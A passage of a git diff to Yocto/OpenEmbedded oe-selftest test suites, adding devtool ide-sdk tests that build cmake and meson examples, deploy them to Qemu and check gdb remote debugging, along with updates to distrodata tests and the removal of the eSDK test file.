+ result = runCmd('devtool status')
+ self.assertNotIn(recipe, result.output, 'Recipe should have been reset by finish but wasn\'t')
+ self.assertNotExists(os.path.join(self.workspacedir, 'recipes', recipe), 'Recipe directory should not exist after finish')
+ expected_status = [(' M', '.*/0099-cmake-Pass-PROBE_NAME-via-CFLAGS.patch$')]
+ self._check_repo_status(recipedir, expected_status)
+
def test_devtool_rename(self):
# Check preconditions
self.assertTrue(not os.path.exists(self.workspacedir), 'This test cannot be run with a workspace directory under the build directory')
@@ -1751,7 +2312,6 @@ class DevtoolUpgradeTests(DevtoolBase):
self._test_recipe_contents(newrecipefile, checkvars, [])
# Try again - change just name this time
result = runCmd('devtool reset -n %s' % newrecipename)
- shutil.rmtree(newsrctree)
add_recipe()
newrecipefile = os.path.join(self.workspacedir, 'recipes', newrecipename, '%s_%s.bb' % (newrecipename, recipever))
result = runCmd('devtool rename %s %s' % (recipename, newrecipename))
@@ -1764,7 +2324,6 @@ class DevtoolUpgradeTests(DevtoolBase):
self._test_recipe_contents(newrecipefile, checkvars, [])
# Try again - change just version this time
result = runCmd('devtool reset -n %s' % newrecipename)
- shutil.rmtree(newsrctree)
add_recipe()
newrecipefile = os.path.join(self.workspacedir, 'recipes', recipename, '%s_%s.bb' % (recipename, newrecipever))
result = runCmd('devtool rename %s -V %s' % (recipename, newrecipever))
@@ -1796,8 +2355,9 @@ class DevtoolUpgradeTests(DevtoolBase):
Expected: devtool modify is able to checkout the source of the kernel
and modification to the source and configurations are reflected
when building the kernel.
- """
- kernel_provider = get_bb_var('PREFERRED_PROVIDER_virtual/kernel')
+ """
+ kernel_provider = self.td['PREFERRED_PROVIDER_virtual/kernel']
+
# Clean up the environment
bitbake('%s -c clean' % kernel_provider)
tempdir = tempfile.mkdtemp(prefix='devtoolqa')
@@ -1824,33 +2384,545 @@ class DevtoolUpgradeTests(DevtoolBase):
self.assertExists(os.path.join(tempdir, 'Makefile'), 'Extracted source could not be found')
#Step 4.2
configfile = os.path.join(tempdir,'.config')
- diff = runCmd('diff %s %s' % (tmpconfig, configfile))
- self.assertEqual(0,diff.status,'Kernel .config file is not the same using bitbake and devtool')
+ runCmd('diff %s %s' % (tmpconfig, configfile))
+
#Step 4.3
#NOTE: virtual/kernel is mapped to kernel_provider
- result = runCmd('devtool build %s' % kernel_provider)
- self.assertEqual(0,result.status,'Cannot build kernel using `devtool build`')
+ runCmd('devtool build %s' % kernel_provider)
kernelfile = os.path.join(get_bb_var('KBUILD_OUTPUT', kernel_provider), 'vmlinux')
self.assertExists(kernelfile, 'Kernel was not build correctly')
#Modify the kernel source
- modfile = os.path.join(tempdir,'arch/x86/boot/header.S')
- modstring = "Use a boot loader. Devtool testing."
- modapplied = runCmd("sed -i 's/Use a boot loader./%s/' %s" % (modstring, modfile))
- self.assertEqual(0,modapplied.status,'Modification to %s on kernel source failed' % modfile)
+ modfile = os.path.join(tempdir, 'init/version.c')
+ # Moved to uts.h in 6.1 onwards
+ modfile2 = os.path.join(tempdir, 'include/linux/uts.h')
+ runCmd("sed -i 's/Linux/LiNuX/g' %s %s" % (modfile, modfile2))
+
#Modify the configuration
- codeconfigfile = os.path.join(tempdir,'.config.new')
+ codeconfigfile = os.path.join(tempdir, '.config.new')
modconfopt = "CONFIG_SG_POOL=n"
- modconf = runCmd("sed -i 's/CONFIG_SG_POOL=y/%s/' %s" % (modconfopt, codeconfigfile))
- self.assertEqual(0,modconf.status,'Modification to %s failed' % codeconfigfile)
+ runCmd("sed -i 's/CONFIG_SG_POOL=y/%s/' %s" % (modconfopt, codeconfigfile))
+
#Build again kernel with devtool
- rebuild = runCmd('devtool build %s' % kernel_provider)
- self.assertEqual(0,rebuild.status,'Fail to build kernel after modification of source and config')
+ runCmd('devtool build %s' % kernel_provider)
+
#Step 4.4
- bzimagename = 'bzImage-' + get_bb_var('KERNEL_VERSION_NAME', kernel_provider)
- bzimagefile = os.path.join(get_bb_var('D', kernel_provider),'boot', bzimagename)
- checkmodcode = runCmd("grep '%s' %s" % (modstring, bzimagefile))
- self.assertEqual(0,checkmodcode.status,'Modification on kernel source failed')
+ runCmd("grep '%s' %s" % ('LiNuX', kernelfile))
+
#Step 4.5
- checkmodconfg = runCmd("grep %s %s" % (modconfopt, codeconfigfile))
- self.assertEqual(0,checkmodconfg.status,'Modification to configuration file failed')
+ runCmd("grep %s %s" % (modconfopt, codeconfigfile))
+
+
+class DevtoolIdeSdkTests(DevtoolBase):
+ def _write_bb_config(self, recipe_names):
+ """Helper to write the bitbake local.conf file"""
+ conf_lines = [
+ 'IMAGE_CLASSES += "image-combined-dbg"',
+ 'IMAGE_GEN_DEBUGFS = "1"',
+ 'IMAGE_INSTALL:append = " gdbserver %s"' % ' '.join(
+ [r + '-ptest' for r in recipe_names])
+ ]
+ self.write_config("\n".join(conf_lines))
+
+ def _check_workspace(self):
+ """Check if a workspace directory is available and setup the cleanup"""
+ self.assertTrue(not os.path.exists(self.workspacedir),
+ 'This test cannot be run with a workspace directory under the build directory')
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+
+ def _workspace_scripts_dir(self, recipe_name):
+ return os.path.realpath(os.path.join(self.builddir, 'workspace', 'ide-sdk', recipe_name, 'scripts'))
+
+ def _sources_scripts_dir(self, src_dir):
+ return os.path.realpath(os.path.join(src_dir, 'oe-scripts'))
+
+ def _workspace_gdbinit_dir(self, recipe_name):
+ return os.path.realpath(os.path.join(self.builddir, 'workspace', 'ide-sdk', recipe_name, 'scripts', 'gdbinit'))
+
+ def _sources_gdbinit_dir(self, src_dir):
+ return os.path.realpath(os.path.join(src_dir, 'oe-gdbinit'))
+
+ def _devtool_ide_sdk_recipe(self, recipe_name, build_file, testimage):
+ """Setup a recipe for working with devtool ide-sdk
+
+ Basically devtool modify -x followed by some tests
+ """
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.add_command_to_tearDown('bitbake -c clean %s' % recipe_name)
+
+ result = runCmd('devtool modify %s -x %s' % (recipe_name, tempdir))
+ self.assertExists(os.path.join(tempdir, build_file),
+ 'Extracted source could not be found')
+ self.assertExists(os.path.join(self.workspacedir, 'conf',
+ 'layer.conf'), 'Workspace directory not created')
+ matches = glob.glob(os.path.join(self.workspacedir,
+ 'appends', recipe_name + '.bbappend'))
+ self.assertTrue(matches, 'bbappend not created %s' % result.output)
+
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(recipe_name, result.output)
+ self.assertIn(tempdir, result.output)
+ self._check_src_repo(tempdir)
+
+ # Usually devtool ide-sdk would initiate the build of the SDK.
+ # But there is a circular dependency with starting Qemu and passing the IP of runqemu to devtool ide-sdk.
+ if testimage:
+ bitbake("%s qemu-native qemu-helper-native" % testimage)
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ self.add_command_to_tearDown('bitbake -c clean %s' % testimage)
+ self.add_command_to_tearDown(
+ 'rm -f %s/%s*' % (deploy_dir_image, testimage))
+
+ return tempdir
+
+ def _get_recipe_ids(self, recipe_name):
+ """IDs needed to write recipe specific config entries into IDE config files"""
+ package_arch = get_bb_var('PACKAGE_ARCH', recipe_name)
+ recipe_id = recipe_name + "-" + package_arch
+ recipe_id_pretty = recipe_name + ": " + package_arch
+ return (recipe_id, recipe_id_pretty)
+
+ def _verify_install_script_code(self, tempdir, recipe_name):
+ """Verify the scripts referred by the tasks.json file are fine.
+
+ This function does not depend on Qemu. Therefore it verifies the scripts
+ exists and the delete step works as expected. But it does not try to
+ deploy to Qemu.
+ """
+ recipe_id, recipe_id_pretty = self._get_recipe_ids(recipe_name)
+ with open(os.path.join(tempdir, '.vscode', 'tasks.json')) as tasks_j:
+ tasks_d = json.load(tasks_j)
+ tasks = tasks_d["tasks"]
+ task_install = next(
+ (task for task in tasks if task["label"] == "install && deploy-target %s" % recipe_id_pretty), None)
+ self.assertIsNot(task_install, None)
+ # execute only the bb_run_do_install script since the deploy would require e.g. Qemu running.
+ i_and_d_script = "install_and_deploy_" + recipe_id
+ i_and_d_script_path = os.path.join(
+ self._workspace_scripts_dir(recipe_name), i_and_d_script)
+ self.assertExists(i_and_d_script_path)
+ del_script = "delete_package_dirs_" + recipe_id
+ del_script_path = os.path.join(
+ self._workspace_scripts_dir(recipe_name), del_script)
+ self.assertExists(del_script_path)
+ runCmd(del_script_path, cwd=tempdir)
+
+ def _devtool_ide_sdk_qemu(self, tempdir, qemu, recipe_name, example_exe):
+ """Verify deployment and execution in Qemu system work for one recipe.
+
+ This function checks the entire SDK workflow: changing the code, recompiling
+ it and deploying it back to Qemu, and checking that the changes have been
+ incorporated into the provided binaries. It also runs the tests of the recipe.
+ """
+ recipe_id, _ = self._get_recipe_ids(recipe_name)
+ i_and_d_script = "install_and_deploy_" + recipe_id
+ install_deploy_cmd = os.path.join(
+ self._workspace_scripts_dir(recipe_name), i_and_d_script)
+ self.assertExists(install_deploy_cmd,
+ '%s script not found' % install_deploy_cmd)
+ runCmd(install_deploy_cmd)
+
+ MAGIC_STRING_ORIG = "Magic: 123456789"
+ MAGIC_STRING_NEW = "Magic: 987654321"
+ ptest_cmd = "ptest-runner " + recipe_name
+
+ # validate that SSH is working
+ status, _ = qemu.run("uname")
+ self.assertEqual(
+ status, 0, msg="Failed to connect to the SSH server on Qemu")
+
+ # Verify the unmodified example prints the magic string
+ status, output = qemu.run(example_exe)
+ self.assertEqual(status, 0, msg="%s failed: %s" %
+ (example_exe, output))
+ self.assertIn(MAGIC_STRING_ORIG, output)
+
+ # Verify the unmodified ptests work
+ status, output = qemu.run(ptest_cmd)
+ self.assertEqual(status, 0, msg="%s failed: %s" % (ptest_cmd, output))
+ self.assertIn("PASS: cpp-example-lib", output)
+
+ # Verify remote debugging works
+ self._gdb_cross_debugging(
+ qemu, recipe_name, example_exe, MAGIC_STRING_ORIG)
+
+ # Replace the Magic String in the code, compile and deploy to Qemu
+ cpp_example_lib_hpp = os.path.join(tempdir, 'cpp-example-lib.hpp')
+ with open(cpp_example_lib_hpp, 'r') as file:
+ cpp_code = file.read()
+ cpp_code = cpp_code.replace(MAGIC_STRING_ORIG, MAGIC_STRING_NEW)
+ with open(cpp_example_lib_hpp, 'w') as file:
+ file.write(cpp_code)
+ runCmd(install_deploy_cmd, cwd=tempdir)
+
+ # Verify the modified example prints the modified magic string
+ status, output = qemu.run(example_exe)
+ self.assertEqual(status, 0, msg="%s failed: %s" %
+ (example_exe, output))
+ self.assertNotIn(MAGIC_STRING_ORIG, output)
+ self.assertIn(MAGIC_STRING_NEW, output)
+
+ # Verify the modified example ptests work
+ status, output = qemu.run(ptest_cmd)
+ self.assertEqual(status, 0, msg="%s failed: %s" % (ptest_cmd, output))
+ self.assertIn("PASS: cpp-example-lib", output)
+
+ # Verify remote debugging works wit the modified magic string
+ self._gdb_cross_debugging(
+ qemu, recipe_name, example_exe, MAGIC_STRING_NEW)
+
+ def _gdb_cross(self):
+ """Verify gdb-cross is provided by devtool ide-sdk"""
+ target_arch = self.td["TARGET_ARCH"]
+ target_sys = self.td["TARGET_SYS"]
+ gdb_recipe = "gdb-cross-" + target_arch
+ gdb_binary = target_sys + "-gdb"
+
+ native_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", gdb_recipe)
+ r = runCmd("%s --version" % gdb_binary,
+ native_sysroot=native_sysroot, target_sys=target_sys)
+ self.assertEqual(r.status, 0)
+ self.assertIn("GNU gdb", r.output)
+
+ def _gdb_cross_debugging(self, qemu, recipe_name, example_exe, magic_string):
+ """Verify gdb-cross is working
+
+ Test remote debugging:
+ break main
+ run
+ continue
+ break CppExample::print_json()
+ continue
+ print CppExample::test_string.compare("cpp-example-lib Magic: 123456789")
+ $1 = 0
+ print CppExample::test_string.compare("cpp-example-lib Magic: 123456789aaa")
+ $2 = -3
+ list cpp-example-lib.hpp:13,13
+ 13 inline static const std::string test_string = "cpp-example-lib Magic: 123456789";
+ continue
+ """
+ sshargs = '-o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no'
+ gdbserver_script = os.path.join(self._workspace_scripts_dir(
+ recipe_name), 'gdbserver_1234_usr-bin-' + example_exe + '_m')
+ gdb_script = os.path.join(self._workspace_scripts_dir(
+ recipe_name), 'gdb_1234_usr-bin-' + example_exe)
+
+ # Start a gdbserver
+ r = runCmd(gdbserver_script)
+ self.assertEqual(r.status, 0)
+
+ # Check there is a gdbserver running
+ r = runCmd('ssh %s root@%s %s' % (sshargs, qemu.ip, 'ps'))
+ self.assertEqual(r.status, 0)
+ self.assertIn("gdbserver ", r.output)
+
+ # Check the pid file is correct
+ test_cmd = "cat /proc/$(cat /tmp/gdbserver_1234_usr-bin-" + \
+ example_exe + "/pid)/cmdline"
+ r = runCmd('ssh %s root@%s %s' % (sshargs, qemu.ip, test_cmd))
+ self.assertEqual(r.status, 0)
+ self.assertIn("gdbserver", r.output)
+
+ # Test remote debugging works
+ gdb_batch_cmd = " --batch -ex 'break main' -ex 'run'"
+ gdb_batch_cmd += " -ex 'break CppExample::print_json()' -ex 'continue'"
+ gdb_batch_cmd += " -ex 'print CppExample::test_string.compare(\"cpp-example-lib %s\")'" % magic_string
+ gdb_batch_cmd += " -ex 'print CppExample::test_string.compare(\"cpp-example-lib %saaa\")'" % magic_string
+ gdb_batch_cmd += " -ex 'list cpp-example-lib.hpp:13,13'"
+ gdb_batch_cmd += " -ex 'continue'"
+ r = runCmd(gdb_script + gdb_batch_cmd)
+ self.logger.debug("%s %s returned: %s", gdb_script,
+ gdb_batch_cmd, r.output)
+ self.assertEqual(r.status, 0)
+ self.assertIn("Breakpoint 1, main", r.output)
+ self.assertIn("$1 = 0", r.output) # test.string.compare equal
+ self.assertIn("$2 = -3", r.output) # test.string.compare longer
+ self.assertIn(
+ 'inline static const std::string test_string = "cpp-example-lib %s";' % magic_string, r.output)
+ self.assertIn("exited normally", r.output)
+
+ # Stop the gdbserver
+ r = runCmd(gdbserver_script + ' stop')
+ self.assertEqual(r.status, 0)
+
+ # Check there is no gdbserver running
+ r = runCmd('ssh %s root@%s %s' % (sshargs, qemu.ip, 'ps'))
+ self.assertEqual(r.status, 0)
+ self.assertNotIn("gdbserver ", r.output)
+
+ def _verify_cmake_preset(self, tempdir):
+ """Verify the generated cmake preset works as expected
+
+ Check if compiling works
+ Check if unit tests can be executed in qemu (not qemu-system)
+ """
+ with open(os.path.join(tempdir, 'CMakeUserPresets.json')) as cmake_preset_j:
+ cmake_preset_d = json.load(cmake_preset_j)
+ config_presets = cmake_preset_d["configurePresets"]
+ self.assertEqual(len(config_presets), 1)
+ cmake_exe = config_presets[0]["cmakeExecutable"]
+ preset_name = config_presets[0]["name"]
+
+ # Verify the wrapper for cmake native is available
+ self.assertExists(cmake_exe)
+
+ # Verify the cmake preset generated by devtool ide-sdk is available
+ result = runCmd('%s --list-presets' % cmake_exe, cwd=tempdir)
+ self.assertIn(preset_name, result.output)
+
+ # Verify cmake re-uses the o files compiled by bitbake
+ result = runCmd('%s --build --preset %s' %
+ (cmake_exe, preset_name), cwd=tempdir)
+ self.assertIn("ninja: no work to do.", result.output)
+
+ # Verify the unit tests work (in Qemu user mode)
+ result = runCmd('%s --build --preset %s --target test' %
+ (cmake_exe, preset_name), cwd=tempdir)
+ self.assertIn("100% tests passed", result.output)
+
+ # Verify re-building and testing works again
+ result = runCmd('%s --build --preset %s --target clean' %
+ (cmake_exe, preset_name), cwd=tempdir)
+ self.assertIn("Cleaning", result.output)
+ result = runCmd('%s --build --preset %s' %
+ (cmake_exe, preset_name), cwd=tempdir)
+ self.assertIn("Building", result.output)
+ self.assertIn("Linking", result.output)
+ result = runCmd('%s --build --preset %s --target test' %
+ (cmake_exe, preset_name), cwd=tempdir)
+ self.assertIn("Running tests...", result.output)
+ self.assertIn("100% tests passed", result.output)
+
+ @OETestTag("runqemu")
+ def test_devtool_ide_sdk_none_qemu(self):
+ """Start qemu-system and run tests for multiple recipes. ide=none is used."""
+ recipe_names = ["cmake-example", "meson-example"]
+ testimage = "oe-selftest-image"
+
+ self._check_workspace()
+ self._write_bb_config(recipe_names)
+ self._check_runqemu_prerequisites()
+
+ # Verify deployment to Qemu (system mode) works
+ bitbake(testimage)
+ with runqemu(testimage, runqemuparams="nographic") as qemu:
+ # cmake-example recipe
+ recipe_name = "cmake-example"
+ example_exe = "cmake-example"
+ build_file = "CMakeLists.txt"
+ tempdir = self._devtool_ide_sdk_recipe(
+ recipe_name, build_file, testimage)
+ bitbake_sdk_cmd = 'devtool ide-sdk %s %s -t root@%s -c --ide=none' % (
+ recipe_name, testimage, qemu.ip)
+ runCmd(bitbake_sdk_cmd)
+ self._gdb_cross()
+ self._verify_cmake_preset(tempdir)
+ self._devtool_ide_sdk_qemu(tempdir, qemu, recipe_name, example_exe)
+ # Verify the oe-scripts sym-link is valid
+ self.assertEqual(self._workspace_scripts_dir(
+ recipe_name), self._sources_scripts_dir(tempdir))
+
+ # meson-example recipe
+ recipe_name = "meson-example"
+ example_exe = "mesonex"
+ build_file = "meson.build"
+ tempdir = self._devtool_ide_sdk_recipe(
+ recipe_name, build_file, testimage)
+ bitbake_sdk_cmd = 'devtool ide-sdk %s %s -t root@%s -c --ide=none' % (
+ recipe_name, testimage, qemu.ip)
+ runCmd(bitbake_sdk_cmd)
+ self._gdb_cross()
+ self._devtool_ide_sdk_qemu(tempdir, qemu, recipe_name, example_exe)
+ # Verify the oe-scripts sym-link is valid
+ self.assertEqual(self._workspace_scripts_dir(
+ recipe_name), self._sources_scripts_dir(tempdir))
+
+ def test_devtool_ide_sdk_code_cmake(self):
+ """Verify a cmake recipe works with ide=code mode"""
+ recipe_name = "cmake-example"
+ build_file = "CMakeLists.txt"
+ testimage = "oe-selftest-image"
+
+ self._check_workspace()
+ self._write_bb_config([recipe_name])
+ tempdir = self._devtool_ide_sdk_recipe(
+ recipe_name, build_file, testimage)
+ bitbake_sdk_cmd = 'devtool ide-sdk %s %s -t root@192.168.17.17 -c --ide=code' % (
+ recipe_name, testimage)
+ runCmd(bitbake_sdk_cmd)
+ self._verify_cmake_preset(tempdir)
+ self._verify_install_script_code(tempdir, recipe_name)
+ self._gdb_cross()
+
+ def test_devtool_ide_sdk_code_meson(self):
+ """Verify a meson recipe works with ide=code mode"""
+ recipe_name = "meson-example"
+ build_file = "meson.build"
+ testimage = "oe-selftest-image"
+
+ self._check_workspace()
+ self._write_bb_config([recipe_name])
+ tempdir = self._devtool_ide_sdk_recipe(
+ recipe_name, build_file, testimage)
+ bitbake_sdk_cmd = 'devtool ide-sdk %s %s -t root@192.168.17.17 -c --ide=code' % (
+ recipe_name, testimage)
+ runCmd(bitbake_sdk_cmd)
+
+ with open(os.path.join(tempdir, '.vscode', 'settings.json')) as settings_j:
+ settings_d = json.load(settings_j)
+ meson_exe = settings_d["mesonbuild.mesonPath"]
+ meson_build_folder = settings_d["mesonbuild.buildFolder"]
+
+ # Verify the wrapper for meson native is available
+ self.assertExists(meson_exe)
+
+ # Verify meson re-uses the o files compiled by bitbake
+ result = runCmd('%s compile -C %s' %
+ (meson_exe, meson_build_folder), cwd=tempdir)
+ self.assertIn("ninja: no work to do.", result.output)
+
+ # Verify the unit tests work (in Qemu)
+ runCmd('%s test -C %s' % (meson_exe, meson_build_folder), cwd=tempdir)
+
+ # Verify re-building and testing works again
+ result = runCmd('%s compile -C %s --clean' %
+ (meson_exe, meson_build_folder), cwd=tempdir)
+ self.assertIn("Cleaning...", result.output)
+ result = runCmd('%s compile -C %s' %
+ (meson_exe, meson_build_folder), cwd=tempdir)
+ self.assertIn("Linking target", result.output)
+ runCmd('%s test -C %s' % (meson_exe, meson_build_folder), cwd=tempdir)
+
+ self._verify_install_script_code(tempdir, recipe_name)
+ self._gdb_cross()
+
+ def test_devtool_ide_sdk_shared_sysroots(self):
+ """Verify the shared sysroot SDK"""
+
+ # Handle the workspace (which is not needed by this test case)
+ self._check_workspace()
+
+ result_init = runCmd(
+ 'devtool ide-sdk -m shared oe-selftest-image cmake-example meson-example --ide=code')
+ bb_vars = get_bb_vars(
+ ['REAL_MULTIMACH_TARGET_SYS', 'DEPLOY_DIR_IMAGE', 'COREBASE'], "meta-ide-support")
+ environment_script = 'environment-setup-%s' % bb_vars['REAL_MULTIMACH_TARGET_SYS']
+ deploydir = bb_vars['DEPLOY_DIR_IMAGE']
+ environment_script_path = os.path.join(deploydir, environment_script)
+ cpp_example_src = os.path.join(
+ bb_vars['COREBASE'], 'meta-selftest', 'recipes-test', 'cpp', 'files')
+
+ # Verify the cross environment script is available
+ self.assertExists(environment_script_path)
+
+ def runCmdEnv(cmd, cwd):
+ cmd = '/bin/sh -c ". %s > /dev/null && %s"' % (
+ environment_script_path, cmd)
+ return runCmd(cmd, cwd)
+
+ # Verify building the C++ example works with CMake
+ tempdir_cmake = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir_cmake)
+
+ result_cmake = runCmdEnv("which cmake", cwd=tempdir_cmake)
+ cmake_native = os.path.normpath(result_cmake.output.strip())
+ self.assertExists(cmake_native)
+
+ runCmdEnv('cmake %s' % cpp_example_src, cwd=tempdir_cmake)
+ runCmdEnv('cmake --build %s' % tempdir_cmake, cwd=tempdir_cmake)
+
+ # Verify the printed note really referres to a cmake executable
+ cmake_native_code = ""
+ for line in result_init.output.splitlines():
+ m = re.search(r'"cmake.cmakePath": "(.*)"', line)
+ if m:
+ cmake_native_code = m.group(1)
+ break
+ self.assertExists(cmake_native_code)
+ self.assertEqual(cmake_native, cmake_native_code)
+
+ # Verify building the C++ example works with Meson
+ tempdir_meson = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir_meson)
+
+ result_cmake = runCmdEnv("which meson", cwd=tempdir_meson)
+ meson_native = os.path.normpath(result_cmake.output.strip())
+ self.assertExists(meson_native)
+
+ runCmdEnv('meson setup %s' % tempdir_meson, cwd=cpp_example_src)
+ runCmdEnv('meson compile', cwd=tempdir_meson)
+
+ def test_devtool_ide_sdk_plugins(self):
+ """Test that devtool ide-sdk can use plugins from other layers."""
+
+ # We need a workspace layer and a modified recipe (but no image)
+ modified_recipe_name = "meson-example"
+ modified_build_file = "meson.build"
+ testimage = "oe-selftest-image"
+ shared_recipe_name = "cmake-example"
+
+ self._check_workspace()
+ self._write_bb_config([modified_recipe_name])
+ tempdir = self._devtool_ide_sdk_recipe(
+ modified_recipe_name, modified_build_file, None)
+
+ IDE_RE = re.compile(r'.*--ide \{(.*)\}.*')
+
+ def get_ides_from_help(help_str):
+ m = IDE_RE.search(help_str)
+ return m.group(1).split(',')
+
+ # verify the default plugins are available but the foo plugin is not
+ result = runCmd('devtool ide-sdk -h')
+ found_ides = get_ides_from_help(result.output)
+ self.assertIn('code', found_ides)
+ self.assertIn('none', found_ides)
+ self.assertNotIn('foo', found_ides)
+
+ shared_config_file = os.path.join(tempdir, 'shared-config.txt')
+ shared_config_str = 'Dummy shared IDE config'
+ modified_config_file = os.path.join(tempdir, 'modified-config.txt')
+ modified_config_str = 'Dummy modified IDE config'
+
+ # Generate a foo plugin in the workspace layer
+ plugin_dir = os.path.join(
+ self.workspacedir, 'lib', 'devtool', 'ide_plugins')
+ os.makedirs(plugin_dir)
+ plugin_code = 'from devtool.ide_plugins import IdeBase\n\n'
+ plugin_code += 'class IdeFoo(IdeBase):\n'
+ plugin_code += ' def setup_shared_sysroots(self, shared_env):\n'
+ plugin_code += ' with open("%s", "w") as config_file:\n' % shared_config_file
+ plugin_code += ' config_file.write("%s")\n\n' % shared_config_str
+ plugin_code += ' def setup_modified_recipe(self, args, image_recipe, modified_recipe):\n'
+ plugin_code += ' with open("%s", "w") as config_file:\n' % modified_config_file
+ plugin_code += ' config_file.write("%s")\n\n' % modified_config_str
+ plugin_code += 'def register_ide_plugin(ide_plugins):\n'
+ plugin_code += ' ide_plugins["foo"] = IdeFoo\n'
+
+ plugin_py = os.path.join(plugin_dir, 'ide_foo.py')
+ with open(plugin_py, 'w') as plugin_file:
+ plugin_file.write(plugin_code)
+
+ # Verify the foo plugin is available as well
+ result = runCmd('devtool ide-sdk -h')
+ found_ides = get_ides_from_help(result.output)
+ self.assertIn('code', found_ides)
+ self.assertIn('none', found_ides)
+ self.assertIn('foo', found_ides)
+
+ # Verify the foo plugin generates a shared config
+ result = runCmd(
+ 'devtool ide-sdk -m shared --skip-bitbake --ide foo %s' % shared_recipe_name)
+ with open(shared_config_file) as shared_config:
+ shared_config_new = shared_config.read()
+ self.assertEqual(shared_config_str, shared_config_new)
+
+ # Verify the foo plugin generates a modified config
+ result = runCmd('devtool ide-sdk --skip-bitbake --ide foo %s %s' %
+ (modified_recipe_name, testimage))
+ with open(modified_config_file) as modified_config:
+ modified_config_new = modified_config.read()
+ self.assertEqual(modified_config_str, modified_config_new)
diff --git a/meta/lib/oeqa/selftest/cases/diffoscope/A/file.txt b/meta/lib/oeqa/selftest/cases/diffoscope/A/file.txt
new file mode 100644
index 0000000000..f70f10e4db
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/diffoscope/A/file.txt
@@ -0,0 +1 @@
+A
diff --git a/meta/lib/oeqa/selftest/cases/diffoscope/B/file.txt b/meta/lib/oeqa/selftest/cases/diffoscope/B/file.txt
new file mode 100644
index 0000000000..223b7836fb
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/diffoscope/B/file.txt
@@ -0,0 +1 @@
+B
diff --git a/meta/lib/oeqa/selftest/cases/distrodata.py b/meta/lib/oeqa/selftest/cases/distrodata.py
index e1cfc3b621..ad952c004b 100644
--- a/meta/lib/oeqa/selftest/cases/distrodata.py
+++ b/meta/lib/oeqa/selftest/cases/distrodata.py
@@ -1,11 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars
-from oeqa.utils.decorators import testcase
-from oeqa.utils.ftools import write_file
import oe.recipeutils
@@ -18,7 +17,7 @@ class Distrodata(OESelftestTestCase):
Product: oe-core
Author: Alexander Kanavin <alex.kanavin@gmail.com>
"""
- feature = 'LICENSE_FLAGS_WHITELIST += " commercial"\n'
+ feature = 'LICENSE_FLAGS_ACCEPTED += " commercial"\n'
self.write_config(feature)
pkgs = oe.recipeutils.get_recipe_upgrade_status()
@@ -49,21 +48,21 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
Author: Alexander Kanavin <alex.kanavin@gmail.com>
"""
def is_exception(pkg):
- exceptions = ["packagegroup-", "initramfs-", "systemd-machine-units", "target-sdk-provides-dummy"]
+ exceptions = ["packagegroup-",]
for i in exceptions:
if i in pkg:
return True
return False
def is_maintainer_exception(entry):
- exceptions = ["musl", "newlib", "linux-yocto", "linux-dummy", "mesa-gl", "libgfortran",
- "cve-update-db-native"]
+ exceptions = ["musl", "newlib", "linux-yocto", "linux-dummy", "mesa-gl", "libgfortran", "libx11-compose-data",
+ "cve-update-nvd2-native",]
for i in exceptions:
if i in entry:
return True
return False
- feature = 'require conf/distro/include/maintainers.inc\nLICENSE_FLAGS_WHITELIST += " commercial"\nPARSE_ALL_RECIPES = "1"\n'
+ feature = 'require conf/distro/include/maintainers.inc\nLICENSE_FLAGS_ACCEPTED += " commercial"\nPARSE_ALL_RECIPES = "1"\nPACKAGE_CLASSES = "package_ipk package_deb package_rpm"\n'
self.write_config(feature)
with bb.tinfoil.Tinfoil() as tinfoil:
@@ -74,7 +73,7 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
missing_recipes = []
recipes = []
- prefix = "RECIPE_MAINTAINER_pn-"
+ prefix = "RECIPE_MAINTAINER:pn-"
# We could have used all_recipes() here, but this method will find
# every recipe if we ever move to setting RECIPE_MAINTAINER in recipe files
diff --git a/meta/lib/oeqa/selftest/cases/eSDK.py b/meta/lib/oeqa/selftest/cases/eSDK.py
deleted file mode 100644
index 862849af35..0000000000
--- a/meta/lib/oeqa/selftest/cases/eSDK.py
+++ /dev/null
@@ -1,120 +0,0 @@
-#
-# SPDX-License-Identifier: MIT
-#
-
-import tempfile
-import shutil
-import os
-import glob
-import time
-from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars
-
-class oeSDKExtSelfTest(OESelftestTestCase):
- """
- # Bugzilla Test Plan: 6033
- # This code is planned to be part of the automation for eSDK containig
- # Install libraries and headers, image generation binary feeds, sdk-update.
- """
-
- @staticmethod
- def get_esdk_environment(env_eSDK, tmpdir_eSDKQA):
- # XXX: at this time use the first env need to investigate
- # what environment load oe-selftest, i586, x86_64
- pattern = os.path.join(tmpdir_eSDKQA, 'environment-setup-*')
- return glob.glob(pattern)[0]
-
- @staticmethod
- def run_esdk_cmd(env_eSDK, tmpdir_eSDKQA, cmd, postconfig=None, **options):
- if postconfig:
- esdk_conf_file = os.path.join(tmpdir_eSDKQA, 'conf', 'local.conf')
- with open(esdk_conf_file, 'a+') as f:
- f.write(postconfig)
- if not options:
- options = {}
- if not 'shell' in options:
- options['shell'] = True
-
- runCmd("cd %s; unset BBPATH; unset BUILDDIR; . %s; %s" % (tmpdir_eSDKQA, env_eSDK, cmd), **options)
-
- @staticmethod
- def generate_eSDK(image):
- pn_task = '%s -c populate_sdk_ext' % image
- bitbake(pn_task)
-
- @staticmethod
- def get_eSDK_toolchain(image):
- pn_task = '%s -c populate_sdk_ext' % image
-
- bb_vars = get_bb_vars(['SDK_DEPLOY', 'TOOLCHAINEXT_OUTPUTNAME'], pn_task)
- sdk_deploy = bb_vars['SDK_DEPLOY']
